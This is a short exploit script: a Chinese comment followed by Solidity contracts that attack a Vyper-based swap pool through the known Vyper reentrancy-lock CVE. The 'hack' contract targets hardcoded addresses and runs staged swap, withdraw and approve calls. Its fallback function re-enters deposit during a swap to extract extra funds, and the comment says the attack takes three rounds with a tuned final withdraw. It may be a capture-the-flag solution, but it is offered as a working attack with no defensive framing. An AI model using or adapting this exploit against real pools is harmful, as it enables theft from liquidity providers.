重入锁失效的版本。vyper 的 cve。利用swap时候deposite可以有多的收益。得打3次 最后withdraw还得调调数.
import "@openzeppelin/contracts@4.0.0/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts@4.0.0/access/Ownable.sol";
contract VETH is ERC20, Ownable {
constructor() ERC20("VETH", "vETH") Ownable() {}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract tac{
function swap(int128 a,int128 b,uint256 c)external payable{
}
function withdraw(int128 a,uint256 c)external{
}
function deposit(int128 a,uint256 c)external payable{
}
}
contract hack{
tac vy=tac(0xf580549d657bB58002567c5D3E08480fED871c18);
VETH veth = VETH(0x2A864d99AE8dE1A05bF73E13b22806F587Ff3661);
constructor()public payable{
}
function hack_step1()public payable{
vy.swap{value:1 ether}(0,1,1 ether);
// vy.swap{value:1 wei}(1,0,0.5 ether);
}
function hack_step2(uint amount)public{
vy.withdraw(1,amount);
}
function approce() public {
veth.approve(address(vy), 10 ether);
veth.approve(msg.sender, 10 ether);
}
function hack_step3(uint amount)public payable{
vy.swap{value:1 ether}(1,0,amount);
}
fallback() external payable{
if (msg.value < 2.9 ether){
vy.deposit(1,3000000000008553090);
}
}
function hack_step4() public payable {
withdraw(1, 3000000000008553090);
hack_step3(0);
}
function withdraw(int128 select ,uint256 amount) public{
vy.withdraw(select, amount);
}
}